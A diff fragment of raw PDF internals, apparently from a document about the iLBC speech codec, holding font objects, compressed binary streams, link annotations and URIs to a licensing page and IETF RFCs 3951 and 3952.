+488 0 obj<</Type/FontDescriptor/FontBBox[-498 -307 1120 1023]/FontName/TimesNewRomanPS-ItalicMT/Flags 98/StemV 71.742004/CapHeight 656/XHeight 0/Ascent 891/Descent -216/ItalicAngle -15/FontFamily(Times New Roman)/FontStretch/Normal/FontWeight 400>>
+endobj
+489 0 obj<</Type/Font/Encoding/WinAnsiEncoding/BaseFont/TimesNewRomanPS-ItalicMT/FirstChar 32/LastChar 122/Subtype/TrueType/FontDescriptor 488 0 R/Widths[250 0 0 0 0 0 0 0 0 0 0 0 250 333 250 0 500 500 500 0 500 0 0 0 0 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 333 0 0 556 0 0 0 0 0 0 0 0 0 0 0 0 556 0 0 0 0 0 0 0 500 500 444 500 444 278 500 500 278 0 0 278 722 500 500 500 0 389 389 278 500 444 0 0 444 389]>>
+endobj
+490 0 obj<</Length 1691/Filter/FlateDecode>>stream
+H\x89\x84W\xCBn\xDBH\xBC\xFB+\xE6\x98\xDEɼH\x90C\x9Cl` F\x82\xB5\x8E\xBE\xD0$%3+\x89^\x8A\x8A\x91\xBF\xDFڑ\xD4Mǁ/\x86]\xEC\xE9鮮\xAEyuc\x8C\xBD\xEA\x9Bn\xD9\xD5\xD5\xD8\xF5\xDB׋\xEFgY(\xFCd\xA1\x9D\x929ꐅ1JZ\x9D}\x8B\xCD\xD9+|\xE3(\xCEɜMv'6m\xB5\xDD	\x8DFz\xADBdЊ\x9Cp\xB0W\xD92\xD4O
+\xF2\xA5M\xE0\xA7\xD6w4\x9AQN\x86f\xD1V\x{DE68}\x9A\xA6+\xD7cN5)\xFB\xA8\xA7 /\x9DR^3\xD0@A\xA9\x80̬:r̙״떷\xC5\xE4,\x83ˎ߇\xB4JK\xB4D\xF3B/\x87~3\x95TJE\xB1\xA8E\xF9\xCD\xF8,\xE2\xF0\xB5\xD12\xEA\x9Cy\xE7ǻV\xEC\x{1B7EF1}\xDA֭\xE8\xC9=m\xCC2\xE2@\xCF\xD3ڍþ\xF7\xECT\x96\xDE\xDB̛\x87\xA0K\x823V\x9Ad\xFC\xAC\xC9\xD3~eo\xEDi\xF2Π+AYޕ\x92\xFCW\xDCy\xA9}\x88\xBCF4S\x97
+\xC8\xF1\xCEt\xABn[\xAD\xC5E߀F\xF7\xE4_j\xAF"?\xBF\xFD\xD1\xF5\xFBݱ\xF8\xE1P\xFCx\x9A>&\xA4\xFC_\xA3Fh\x81\x9D>>\x9D\xD1ݹ 4\xD4VK\xEFlf\x9F\xE3
+\xA6\xF2#\xEA~s\x8B\x8B\x8C\xDD!-_\xD2:\x9Dׄ\xBF%\xFAr`)ddmmi\xFE)nI1\xBE`\x8B%\xBE\xC7Z\x9ECV|\xC6P|K1I\xFA\x9Dc1	\xC6+\x99tH\xEC\xDCj۠o\xEDM\xB8\x86ׁ\x85\x9B\xFAvE.l5&$ς\x9E4INI|Z\x9C}\xBA\xBAgo\xBE\x89w\xEF\xDE\]\~\xDC\xF7\xEF?|\xC4?,\xCE\xDE,Zh\xB1X>\xDF8\x91\x9F\xE5\x84\xCE\xD02\x9B\xA7i\x99\xC8M2I͢\xB0\xA2\xF1\xA7En\x8B\x80?\x89\xF3ͫ\xEA\xE65\x95Հj\xE9dY1\xDE\xD1f43DkE\xF7\xE5Å\xB8\xEE\xF7\x82w4 vP\x89ߣ\xE5R\x98\x8C\xF1\x91\x81\xCEE\xB7彂\xCAa\x8C(\xAE^\xEF\x9Bn\xBB\xA2b\x98\xA5	F{~\xA7_\xA4/;\xEE\xA9\xF0:!D\x9B\xA1%\x99YӋY\xE3\xA4C\xE2\xBC\xF2-a\xB8df\x95% \x8BE\x92\xCB\xB4\xA1\xA0(\x83)\x9C\xA3\xA0\x8A\x80\x9C\x96\xBB\x96\xE7Դ\xA2"\xA4\xB7eա)\xBC+U\xB7\xA6\xB0,SN\xF8\xE7K\x87F+\xB3\xC6ݮi)$\xC9\xF0R\xDCT\xC6
+\xAC\x89\x{153082}\x84\xFAdN\xF1\xF9\xF2\xD1qm`fBⴺ\xA6\xA0\xE3\xE1g\x83ƨ\x87V\x973\xE7|\xA2\xC6áM٘8\x8Bv\xF9\x89o\x98}\xE4\xD1\x94\xCF"6CM\xF3F\x80	\x94\xB5i\xD6w\xD1\xD5r\xA4{J\xC9h\xE3٤Q\x90\xC5T\xE4\xD9\xCC\xF7\x88\xF3k\x9B\xE7E݆\xC1(\x92VvǓ\xAD\xA9\x9BSQ\xAA\xA8\x82ah\xB1\xA9@X\xBE\xEDTH!0d\xF5\x84\xAD@4J"
+91\xA95\x85\xD3ӣ\x93\xC9E\xA8";\x9D\x91\xCC\xC65\xDE2\xDC5\x97Fo\xB4\xCD<\xD8~۴É\xF9\xCAG\xF7uZ7\xF3\xE5\x8D2<c*\xC0\xA6\xA8IȊ\x97\xA1ۉ/]\xDDnw\xEDL0c\x90p\x84\x9E\xC7}V0a\xBB\xA2\x9Bg\xB7Ӟ\x83\xE7M\xA3\xAA\xB1\xA2\xE1\xB2<\x8FE\xB5T\x8CQ\xF1H\xFB\xFB\xA6[\x98\x8DA\xEC\xEFW\x87\xD2\xD9#\xE5\x94&z
+\xFD\x896\xE7\xC8\xE2`\xD1&\x9FzPش\xC0\xAB[\xDF\xC1P(\xDCS\x8E1\xF1\xBE\xAF((K\xD0\xFC\xEC\xCDt\x81\x87~\xF8ww\xE4\xF3\xD1lMH\xE4QOP\xB3"\xA8:\xFD"DZ\xA5\x8C\x9BnM\xE0\x94\xE3\xDAc\xB1+\xCB03\x8A\xDB\xF2B3<e8\x84́I\xB3X\x8FgN{\xC3k\xAB\xF8]&\xA2\xE0_\E\xDCi%\xCA3/\xFAKF?\x9F(\xFE\xFE\xE5\xF6\xE65\xB5{\xE5\xC9`Q}\xF6A\xB1\xFF\xFD\xED\xF7\xB6g\xBDht\xD9X4>|Rq\xC7\xF7ݺm\xC4\xF4l\x9A\x98\xF1Gٳͷ\xF3\xDE\xC1\xD1u\x8AwE\xF2\x96א\xBD\xA9t\xE9\xD9ݹ\xB3*[\xD0)\xCB\xCFl)\xDFL
+\xCA@o1\xD5$\x98\xC3\xC4j\xE7
+\xAF \x8A]\xA3\xD8C\xBB\xC6L6\xA2\xE9\xEB\xFD\xA6ݎ\xA0\xFA\xB2j\x8D\x9A\xD1CR\x90\x97f\xF2\xB9\xEC\x90\xDF\xDAf\xF7[۬\xB6\xFD\xFCy\x88P,\xDB\xF3\xD17g\>\x8D\x99Êo&0\xE42d\x9B\xC2\xC8\xF8\xE4$\xB3Ke\x8D
+\xB6\xC5?݊\x8E\x86\x85"C\xF4,C\x8F;\x82r\xEES1\xCB\xCE\xD1\xC5\xE1\xB2q<\xB1\x8E\xDA{\xE9\xBC-v\x89\x80\xCAc\x80n\xC4b|
+?\xF4\x9Cb \xB6\xCEhw\xED@\xA8\xA7Ql9\xC86C~\xBE$\xB3\x9F}P\xF1\xA5
+\xE3<H<䇁\xAE)\x91ty\x8F\xB2\xBB\xD5
+8\xB4\xE2,\xAF"+2\x8A\xC6\xC3vX\xAFy\xF7\xAB\xED\xD8S`\xD1;3\xEDN\xB3_\x8A\x81\xC0\x94WT\x9A\xDE:/\xC0*8)D\xDE\xD8s\xBABl\x87O11T\xBD\xFE㶱e`}\xB6\xBCZUW6\xD7R\xDC\xFAR\xF1;f)\xC4I\xA5c\xE2\xE4\xC0\xBE\xAB\xA8[H\xBCw\xE5
+ƎZ\xB1\xED\xAD/$\xFEO͒ w\xDF1y\xCFqm\xB5\xE4\xEE;\xA2g<\xCF\xF1ɪp\xD8\xCE\xFB̛P\xD5\xFF\x{DEE1}m\xCEE\xFF@}s\x80\xAA\x85\xC4/\xB5\x85r\x92\xE5\xEDM\xC0\x8B/(.dyct\xA4\x81\xF0\xCBL󨦶\x9E6kE\xDA\xF9\x90\x97\xD7A0\x8BGyN/Q\xE3a\x89\x9F,\xBB\xA8v\xBBnUr\xE7\x96\*f\x81\xE0\xC7^|\xA6:W>\x8A\xFF0>\xE6\xE4\xC5
+endstream
+endobj
+491 0 obj<</Length 1810/Filter/FlateDecode>>stream
+H\x89\x8CW\xC9n$E\xBD\xFB+\xF28Hv:\xF7E $l\xE6\xC01͉\xE1P\xAE\xCEtW5U\xD5\xC3_\xCF\xCBjoed\xCBj\xDB/#3\xB6/\xDE\xFC\xF0\xD5\xE6\xF7\x8B,\xBE\xB2\xD0\xD6\xCAh\xBD7B\xBB$\x8DO.\x8A\xCD\xE1\xE2ͻ\x9F\xC5|\xDF̂`\x83\x961\xB8\x94\xB6>\x96\x91\x80Z;ˀb:\xDD\xFD^\xDAY\x9Ay>\xB9RR)\xA5\xB5ش\xA2~\xB4Nl\xFE\x8F\x86\x8Cu2Ɯ=7\xF4\xF26cc\xB5a\xF4\xEAY\xFD\xDCt}\xD9p\xD42\xA7\xB7\xD8\xF5\xB4s\xAB{\xE7\xFB"~\xBB/\xB1V[\xA9-3p\xD77{q;l˥\xB8;\xCDb g\xA2\x92\xC1\xAB\x98ٙ\x9E\x82\xBC\xD4\xF10\xEE?W\xD48\xF77\x93_\xC6\xCD&#yF\xC5L_\x90\xB5t\xC6\xF1,\x96O/\x91N{\xE9\xACёA\xE7\xD2\xD3\xFApAa\xF5޾\xB4e\x9AR"\xB54\xAF\xA4\xCF\xA4\x8E\xC9|1\xF9.$is\xF2\xFC\xCEy\xA7	\x91\xCBq\xB6\xA7\xF61bH\xEC\xB2\x97\xD1\xF2ټJ`\xB9|y\x93\xB7Fڤ\xED\xAB\xCF\xF9R2j\xC5\xE5p\x85\x9Ab\x8Af97\x8Cb\xDBM\xF3\xD8ݝH\xEF\xA8\xE3F\x9F\xEDEe\x8Eѯ`\xF7\x87\x9C\xB5\xBA\xBC\xD6\xF0S}\x8A\xBF\xBA\xF9~8\xD1d\xED\xA4\xF76\xF3\xBA~7v\xFDڀY*m\x87\x96*D.V\xDFn.\xDE\xFEx+.\xAE߉o\xBE\xB9\xFE\xF1\xF6\x87\xEF\x9A\xEB\xDBoo\xBE\xC7o6כ
+\xA2/6\xBB\x8BuԌ\x91^'\x9B\xA80Eޙ\xB2\xCC\xC9\xE9\xCCp\xEF\xCA8
+\xD5\xC9_\xA6\x82\xDF
+\x8C\x8B\x80\xDBZ8\xE4\xE0\xA14\xFDTkG;D\x87\x{A62D20}\xA4Ȏ\x80\xFDʶF\x92\x80]\x8D_N[\xFE顼\xBC\xCEְ\xA3\xE2\x8E\xD8\xF7^\x9BG}\xA6\xA0,cN)pSҗ5\xB7\xD4\xF4 \xC5m\xF7\xB1ےE\x9E11t\xE4Q@\x9C\xA7a_\xF6\xE4\xE3E\x9By\xC5\xE5$H\x8F\xFF{\xA7x>
+\xE9\xA3\xD7ܟs\x9E/\x9F[\xD1<\x85Vs^\xCC1#\xDE\xF4\xFCq\xEC>63\xE8\xA2鷢\xA7\x9C&\xB5a\x95ǡ\xBF"0d['\x95\xB8\x9F\xEDp8\x94\xB1\xED\x9C\xE3i${ZU\xD9in\x99\x82P\xDE*[^\xDES\x99d-\xEBg\x8F\xF3\xF9\xB8\xD7\xC9G\xA9s\xE5.\x97\xD4\xDA^ꖒ
+\x9C\x8D&Y\x86浭M\xC6[\xB4c\xB0B\x89\xC7JPf\xD0\xDC\xB4ڡ\x9A:\x8B\xC3
+\xF3V\xBA\xE4\xFD\xEAeK\x85dt\xF3\xBDvAvp\xAB\xD5\xB4=5{0\x85\x99D\xDB)Vo\xBC\xE5\xDE4m7ӎ\xAB3\xD08\xC5-?'\xCA>\xB7\xBD\xD2T\xECXi\xD0\xF7<Ẅ́`\x80\x8Dv][\xC6KQ\xC7=\x9D䪊$\xE5xlh#\xA2\x90\xACU1\xF1\x9C\xA1\xE8\xE5pW-\xD3N\xF329\xEBx\x8Ei\xF6,\xA8t\x9F\xF9\x93\xB7\xE5X\xFAmy\xF4\xFD\xFA\xE0\xB2T\xA7d#C\xCE6\xB0\xF3\xF4\x92\xEBx^\x95\xC8LAY\x86\xA0R~-\xEEO]\xAA\xB4LIk~]U\x8AT\x9D%m\x8Cz\x95\x8Av(\xD0B~\x84\xBC\xB2x)\xCE\xC3`\x88\x99\x87_4d\x92VU\xA40\xD6WY\xEA\x99~t1\xC9	\xC2\xEBqG@\xB1\xAD\xFAT44*\xB9\xBE-9~i;\x8C\xC7alUաB\xE2\xD7\xCE\xDD@R\x86F\x91)[nq\xD1Sj\xAD\xBF\xA0\xF2\xB5\xCEj\x9C\xFF\xA5\xACR\xA5\xAB\x9AX\x90\xA3[\xCEݝ&\xC8\xFEi\xAAI\xC0\xF7J]	\x9B\xAB\xA8$g\xCA](k\xF5\xDD\xDFMuU\xBCC\xF7\xA2\x80w\xE0\x83\xB7\x94r\x90Z\x9DBb\xA0\xE7A+L 
+\xB4\xB4ax\xD1?\x8C\x9E%0\xF1)0>S.A\xA2|J\xDC\xCD\xE7y\xF4\xFE+\xBA\xEF\x80_!\x87\xBFm;\x94	W\xF2}\xF5\x97\xC3\xCE\xE2O\xD0gGJ\xD0BB\xA5\xAC\xDEA\xB9\xC9a\xCDK\xD1\xCB)(T\x95\xE2x<\xC0\x8EU\xE7ѽ	\x9Aי\xCA4\xD4Z\xF0\xDF%ixU\x92~IQ<\x95`
+\xE0c\xE5b\xE8\x95JŘc\xB0*RNc[\xFE\x8AF:i\x9F豳D\xADJ\xFF\xFEth\xFA\xAB\xB14ۆ\x8AC[FO\xCF\xED\xCB\xD2\ :\xE8\xC3@\x91\x84Z1\xC3QKJ3k\xF7
+n,\xBB22aU\xC2n[i\x87\xE0\x9F\xBB\xF9,|\x9F\xCBI\xC9\xF9\x99)|G\xDB\xFB\xA7\xB4\xCB\xCEECA1 cSق^\\xB5\xE6\xA1\xF9[\x8B8\xDBst\xE9\xE2\x89\xC9\xC5g\xF2w \xFF\xECY\xB2\xB0Q\xDER\xEA\xC7\xC4Q\x8Eyxu\xA8T\x8C\xF1kY&\xC5x\xB8\xA8=\xCB\xC5%SL.\x99Lp,^\xED\xFE\xB4\xAD\xC6b\xAB|%;m\xF6{;kĈ\x83\x9D}\xED\xB0=\xED\xD1\xFC\xDD\xCCOl\xA6
+	\x82\xAE#\xB4\xE9\xFA\xE9k\xD1L\xD3\x82\x99\x99\xB4\xC1ĠM\xA0\xC7|{\xA5,4\xA4A\xC6\xFE\xA4遹\x8C\xBB\xFD\xB2-;\xB0\x8C\xD4\xD84\x98\xDD\xC2׻\x9E|M\xB7\x9EUk\xE7|]\xA6\xF6\xBF\x8F\x81\xDA@\xC8P\x8D\xE4\xF0\xD8\xE7ew܊\x99R&\xD6\x85\xDC2\xBCh\xE9ش\xE8F\xE3cp\xCCg*\xB94\xD4^\xE5Az5\xC5@\xEAX\x8E\xE8\x93B\xAEj\x9B\xC1\xEC\xF1\xA6ñ\xDB7,-\xF3\x99\x971\x80ƭ	r,\xE0\
+8\xAAd\xD0,\xCE˦\x85z\x99Q\x8C\xE7\x99:\xF0~A'G\x96}&o \x9CVie\x99ɛE>f\xEA\xED\xA7\xF2\x94\xE6\xB3>\xBD\xAA\xC93\xBAQj!K\xC8i\xA6t뭒\xC1)^\xAB{L:j\xBE\xE7\xE5;׉\xB3\xF9|,\xE2\xFA]\xF3\xA1\xEB\xCF\xB8\xBE\xB9>\x89_\xA3Ahe\xB0\x8B\xAA6X	\xA0\x9C\x95A\xC7\xC5o\xD7\xDF\xCDs\xD3ޣ\xC6~\xBD\xBE\xE6y8\x88\xDF\xA6\xD6\xF5O\xB7\x93L\x893̞g\xD8\xD5\xB9P=\xCB\xD3э\xB8\xCD`\x9C\x9Be\xD7^}4\xEAJ9m\xB00l\x87\x96\xBC\xF9!\xFE`\x89\xF5\xE8
+endstream
+endobj
+492 0 obj<</URI(http://www.globalipsound.com/legal/licenses/ilbc)/S/URI>>
+endobj
+493 0 obj<</URI(mailto:info@globalipsound.com)/S/URI>>
+endobj
+494 0 obj<</URI(http://www.ietf.org/rfc/rfc3951.txt)/S/URI>>
+endobj
+495 0 obj<</URI(http://www.ietf.org/rfc/rfc3952.txt)/S/URI>>
+endobj
+496 0 obj<</URI(http://www.ietf.org/rfc/rfc3951.txt)/S/URI>>
+endobj
+497 0 obj<</URI(http://www.ietf.org/rfc/rfc3952.txt)/S/URI>>
+endobj
+498 0 obj<</Length 2575/Filter/FlateDecode/N 3/Alternate/DeviceRGB>>stream
+H\x89\x9C\x96yTSw\xC7oɞ\x90\x95\xB0\xC3c
+[\x80\xB0\x905la\x91QIBH\xD8ADED\x84\xAA\x952\xD6mtFOE\x9D.\xAEc\xAD\xD6}\xEA\xD2\xF50\xEA\xE88\xB4׎\x9D8G\x9DNg\xA6\xD3\xEF\xEF\xF79\xF7w\xEF\xEF\xDD߽\xF7\x9D\xF3\xA0'\xA5\xAA\xB5\xD50\x8D֠\xCFJ\x8C\xC5b\xA4	
+ 2y\xAD.-;!\xE0\x92\xC6K\xB0Z\xDC	\xFC\x8B\x9E^\x90i\xBD"L\xCA\xC00\xF0\xFF\x89-\xD7\xE9
+@8(\x94\xB5r\x9C;q\xAE\xAA7\xE8L\xF6\x9Cy\xA5\x95&\x86Q\xEB\xF1q\xB64\xB1j\x9E\xBD\xE7|\xE69\xDA\xC4
+\x8DV\x81\xB3)g\x9DB\xA30\xF1i\x9CW\xD7\x958#\xA98wթ\x95\xF58_\xC5٥ʨQ\xE3\xFC\xDC\xABQ\xCAj@\xE9&\xBBA)/\xC7\xD9g\xBA>'K\x82\xF3\xC8t\xD5;\\xFA\x94
+ӥ$պF\xBDZUn\xC0\xDC\xE5\x98(4T\x8C%)뫔\x830C&\xAF\x94\xE9\x98\xA4Z\xA3\x93i\x98\xBF\xF3\x9C8\xA6\xDAbx\x91\x83E\xA1\xC1\xC1B\xD1;\x85\xFA\xAF\x9B\xBFP\xA6\xDE\xCEӓ̹\x9EA\xFCom?\xE7W=
+\x80x\xAF\xCD\xFA\xB7\xB6\xD2-\x8C\xAF\xC0\xF2\xE6[\x9B\xCB\xFB0\xF1\xBE\xBE\xF8\xCE}\xF8\xA6y)7ta\xBE\xBE\xF5\xF5\xF5>j\xA5\xDC\xC7T\xD07\xFA\x9F\xBF@\xEF\xBC\xCF\xC7tܛ\xF2`q\xCA2\x99\xB1ʀ\x99\xEA&\xAF\xAE\xAA6\xEA\xB1Z\x9DL\xAEĄ?\xE2_\xF8\xF3yxg)˔z\xA5\x8F\xC8çL\xADU\xE1\xED\xD6*\xD4u\xB5Sk\xFFSe\xD8O4?׸\xB8c\xAF\xAF\xD8\xB0.\xF2\xF2\xB7\xE5\xD2R\xB4
+߁\xDE\xF4-\x95\x922\xF05\xDF\xE1\xDE\xFC\xDC\xCF	\xFA\xF7S\xE1>ӣV\xAD\x9A\x8B\x93d\xE5`r\xA3\xBEn~\xCF\xF4Y\xA0&\xE0+`\x9C\x81;\xC2A4\x88\xC9 \xE4\x80\xB0\xC8A9\xD0=\xA8-\xA0t\x81\xB0l\xC3`;\xBB\xC1~p\x8C\x83\x8F\xC1	\xF0Gp|	\xAE\x81[`L\x83\x87`<\xAF "A\x88YA\x90+\xE4\xF9Cb(\x8A\x87R\xA1,\xA8*\x81T\x902B-\xD0
+\xA8ꇆ\xA1\xD0n\xE8\xF7\xD0Q\xE8t\xBA}MA\xA00\xD3al\xBB\xC1\xBE\xB0\x8E\x81S\xE0x	\xAC\x82k\xE0&\xB8^\xC1\xA3\xF0>\xF80|>_\x83'\xE1\x87\xF0,\xC2G!"F$H:R\x88\x94!z\xA4\xE9F\x91Qd?r9\x8B\A&\x91G\xC8\x94\x88rQ\xA2\xE1h\x9A\x8B\xCA\xD1\xB4\xEDE\x87\xD1]\xE8a\xF44z\x9DBg\xD0\xD7\xC1\x96\xE0E#H	\x8B*B=\xA1\x8B0H\xD8I\xF8\x88p\x86p\x8D0MxJ$\xF9D1\x84\x98D, V\x9B\x89\xBDĭ\xC4\xC4\xE3\xC4KĻ\xC4Y\x89dE\xF2"E\x90\xD2I2\x92\x81\xD4E\xDAB\xDAG\xFA\x8Ct\x994MzN\xA6\x91\xC8\xFE\xE4r!YK\xEE \x92\xF7\x90?%_&\xDF#\xBF\xA2\xB0(\xAE\x940J:EAi\xA4\xF4Q\xC6(\xC7()ӔWT6U@\x8D\xA0\xE6P+\xA8\xED\xD4!\xEA~\xEA\xEAm\xEA\x8D\xE6D\xA5e\xD2Դ\xE5\xB4!\xDA\xEFh\x9FӦh/\xE8\xBA']B/\xA2\xE9\xEB\xE8ҏӿ\xA2?a0n\x8ChF!\xC3\xC0X\xC7\xD8\xCD8\xC5\xF8\x9A\xF1܌k\xE6c&5S\x98\xB5\x99\x8D\x986\xBBl\xF6\x98Ia\xBA2c\x98K\x99M\xCCA\xE6!\xE6E\xE6#\x85\xE5ƒ\xB0d\xACV\xD6\xEB(\xEBk\x96\xCDe\x8B\xD8\xE9l
+\xBB\x97\xBD\x87}\x8E}\x9FC\xE2\xB8q\xE29
+N'\xE7\xCE)\xCE].\xC2u\xE6J\xB8r\xEE
+\xEE\xF7w\x9AG\xE4	xR^\xAF\x87\xF7[\xDEoƜch\x9Eg\xDE`>b\xFE\x89\xF9$\xE1\xBB\xF1\xA5\xFC*~\xFF \xFF:\xFF\xA5\x85\x9DE\x8C\x85\xD2b\x8D\xC5~\x8B\xCB\xCF,m,\xA3-\x95\x96ݖ,\xAFY\xBE\xB4¬\xE2\xAD*\xAD6X\x8D[ݱF\xAD=\xAD3\xAD뭷Y\x9F\xB1~dó	\xB7\x91\xDBt\xDB\xB4\xB9i\xDBz\xDAf\xD96\xDB~`{\xC1v\xD6\xCE\xDE.\xD1Ng\xB7\xC5\xEE\x94\xDD#{\xBE}\xB4}\x85\xFD\x80\xFD\xA7\xF6\xB8\x91j\x87\x87\xCF\xFE\x8A\x99c1X6\x84\x9D\xC6fm\x93\x8D\x8E;'_9	\x9Cr\x9D:\x9C8\xDDq\xA6:\x8B\x9D˜\x9CO:ϸ8\xB8\xA4\xB9\xB4\xB8\xECu\xB9\xE9Jq\xBB\x96\xBBnv=\xEB\xFA\xCCM\xE0\x96\xEF\xB6\xCAm\xDC\xED\xBE\xC0R 4	\xF6
+n\xBB3ܣ\xDCk\xDCGݯz=\xC4\x95[=\xBE\xF4\x84=\x83<\xCB=G</z\xC1^\xC1^j\xAF\xAD^\x97\xBC	ޡ\xDEZ\xEFQ\xEFB\xBA0FX'\xDC+\x9C\xF2\xE1\xFB\xA4\xFAt\xF8\x8C\xFB<\xF6u\xF1-\xF4\xDD\xE0{\xD6\xF7\xB5_\x90_\x95ߘ\xDF-G\x94,\xEA}\xE7\xEF\xE9/\xF7\xF1\xBF\xC0Hh8\xF0m\xA0W\xA02p[\xE0\x9F\x83\xB8AiA\xAB\x82N\xFD#8$X\xBC?\xF8A\x88KHI\xC8{!7\xC4<q\x86\xB8W\xFCy(!46\xB4-\xF4\xE3\xD0a\xC1a\x86\xB0\x83a\x86W\x86\xEF	\xBF\xBF@\xB0@\xB9`l\xC1\xDD\xA7YĎ\x88\xC9H,\xB2$\xF2\xFD\xC8\xC9(\xC7(Y\xD4h\xD47\xD1\xCEъ\xE8\x9D\xD1\xF7b<b*b\xF6\xC5<\x8E\xF5\x8B\xD5\xC7~\xFBL&Y&9\x87\xC4%\xC6u\xC7M\xC4s\xE2s\xE3\x87\xE3\xBFNpJP%\xECM\x98IJlN<\x9EDHJIڐtCj'\x95KwKg\x92C\x92\x97%\x9FN\xA1\xA7d\xA7\xA7|\x93ꙪO=\x96\xA7%\xA7mL\xBB\xBD\xD0u\xA1v\xE1x:H\x97\xA6oL\xBF\x93!Ȩ\xC9\xF8C&13#s$\xF3/Y\xA2\xAC\x96\xAC\xB3\xD9\xDC\xEC\xE2\xEC=\xD9Osbs\xFArn\xE5\xBA\xE7sO\xE61\xF3\x8A\xF2v\xE7=ˏ\xCB\xEFϟ\\xE4\xBBh٢\xF3\xD6\xEA\x82#\x85\xA4¼\x85\xB3\x8B\xE3oZ<]T\xD4Ut}\x89`IÒsK\xAD\x97V-\xFD\xA4\x98Y,+>TB(\xC9/\xD9S\xF2\x83,]6*\x9B-\x95\x96\xBEW:#\x97\xC87\xCB*\xA2\x8A\xCAe\xBF\xF2^YDY\xD9}U\x84j\xA3\xEAAyT\xF9`\xF9#\xB5D=\xAC\xFE\xB6"\xA9b{ų\xCA\xF4\xCA+\xACʯ:\xA0!kJ4G\xB5m\xA5\xF6t\xB5}uC\xF5%\x9D\x97\xAEK7YV\xB3\xA9fF\x9F\xA2\xDFY\xD5.\xA9=b\xE0\xE1?S\x8C\xEEƕƩ\xBAȺ\x91\xBA\xE7\xF5y\xF5\x87\xD8
+چ\x8D\x9E\x8Dk\xEF5%4\xFD\xA6m\x967\x9Flqlio\x99Z\xB3lG+\xD4Z\xDAz\xB2͹\xAD\xB3mzy\xE2\xF2]\xED\xD4\xF6\xCA\xF6?u\xF8u\xF4w|\xBF"űN\xBB\xCE\xE5\x9DwW&\xAE\xDC\xDBe֥ﺱ*|\xD5\xF6\xD5\xE8j\xF5\xEA\x895k\xB6\xACyݭ\xE8\xFE\xA2ǯg\xB0\xE7\x87^y\xEFkEk\x87\xD6\xFE\xB8\xAEl\xDDD_p߶\xF5\xC4\xF5\xDA\xF5\xD77Dm\xD8\xD5\xCF\xEEo꿻1m\xE3\xE1l\xA0{\xE0\xFBMś\xCE
+n\xDFL\xDDl\xDC<9\x94\xFAO\xA4[\xFE\x98\xB8\x99$\x99\x90\x99\xFC\x9Ah\x9A՛B\x9B\xAF\x9C\x9C\x89\x9C\xF7\x9Dd\x9DҞ@\x9E\xAE\x9F\x9F\x8B\x9F\xFA\xA0i\xA0ءG\xA1\xB6\xA2&\xA2\x96\xA3\xA3v\xA3\xE6\xA4V\xA4ǥ8\xA5\xA9\xA6\xA6\x8B\xA6\xFD\xA7n\xA7\xE0\xA8R\xA8ĩ7\xA9\xA9\xAA\xAA\x8F\xAB\xABu\xAB\xE9\xAC\\xACЭD\xAD\xB8\xAE-\xAE\xA1\xAF\xAF\x8B\xB0\xB0u\xB0\xEA\xB1`\xB1ֲK\xB2³8\xB3\xAE\xB4%\xB4\x9C\xB5\xB5\x8A\xB6\xB6y\xB6\xF0\xB7h\xB7\xE0\xB8Y\xB8ѹJ\xB9º;\xBA\xB5\xBB.\xBB\xA7\xBC!\xBC\x9B\xBD\xBD\x8F\xBE
+\xBE\x84\xBE\xFF\xBFz\xBF\xF5\xC0p\xC0\xEC\xC1g\xC1\xE3\xC2_\xC2\xDB\xC3X\xC3\xD4\xC4Q\xC4\xCE\xC5K\xC5\xC8\xC6F\xC6\xC3\xC7Aǿ\xC8=ȼ\xC9:ɹ\xCA8ʷ\xCB6˶\xCC5̵\xCD5͵\xCE6ζ\xCF7ϸ\xD09к\xD1<Ѿ\xD2?\xD2\xC1\xD3D\xD3\xC6\xD4I\xD4\xCB\xD5N\xD5\xD1\xD6U\xD6\xD8\xD7\\xD7\xE0\xD8d\xD8\xE8\xD9l\xD9\xF1\xDAv\xDA\xFBۀ\xDC܊\xDDݖ\xDEޢ\xDF)߯\xE06\xE0\xBD\xE1D\xE1\xCC\xE2S\xE2\xDB\xE3c\xE3\xEB\xE4s\xE4\xFC\xE5\x84\xE6
+\xE6\x96\xE7\xE7\xA9\xE82\xE8\xBC\xE9F\xE9\xD0\xEA[\xEA\xE5\xEBp\xEB\xFB\xEC\x86\xED\xED\x9C\xEE(\xEE\xB4\xEF@\xEF\xCC\xF0X\xF0\xE5\xF1r\xF1\xFF\xF2\x8C\xF3\xF3\xA7\xF44\xF4\xC2\xF5P\xF5\xDE\xF6m\xF6\xFB\xF7\x8A\xF8\xF8\xA8\xF98\xF9\xC7\xFAW\xFA\xE7\xFBw\xFC\xFC\x98\xFD)\xFD\xBA\xFEK\xFE\xDC\xFFm\xFF\xFF\xF7\x84\xF3\xFB
+
+endstream
+endobj
+1 0 obj<</Annots[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R 7 0 R 26 0 R]/Contents 8 0 R/Type/Page/Parent 102 0 R/Rotate 0/MediaBox[0 0 612 792]/CropBox[0 0 612 792]/Resources<</ColorSpace<</CS0 478 0 R>>/Font<</TT2 489 0 R/TT0 480 0 R/TT1 477 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS0 474 0 R>>/Properties<</MC0 487 0 R>>>>/StructParents 7>>
+endobj
+2 0 obj<</H/O/Type/Annot/Rect[254 534 268 545]/Border[0 0 0]/Dest[9 0 R/XYZ 90 715 null]/Subtype/Link/C[0 0 0]>>
+endobj
+3 0 obj<</H/O/Type/Annot/Rect[283 504 309 515]/Border[0 0 0]/Dest[1 0 R/XYZ 108 607 null]/Subtype/Link/C[0 0 0]>>
+endobj
+4 0 obj<</H/O/Type/Annot/Rect[263 416 277 427]/Border[0 0 0]/Dest[1 0 R/XYZ 90 242 null]/Subtype/Link/C[0 0 0]>>
+endobj
+5 0 obj<</H/O/Type/Annot/Rect[101 395 114 406]/Border[0 0 0]/Dest[9 0 R/XYZ 90 715 null]/Subtype/Link/C[0 0 0]>>
+endobj
+6 0 obj<</H/O/Type/Annot/Rect[271 380 284 391]/Border[0 0 0]/Dest[1 0 R/XYZ 90 643 null]/Subtype/Link/C[0 0 0]>>
+endobj
+7 0 obj<</H/O/Type/Annot/Rect[101 102 114 113]/Border[0 0 0]/Dest[1 0 R/XYZ 90 643 null]/Subtype/Link/C[0 0 0]>>
+endobj
+8 0 obj<</Length 13444/Filter/FlateDecode>>stream
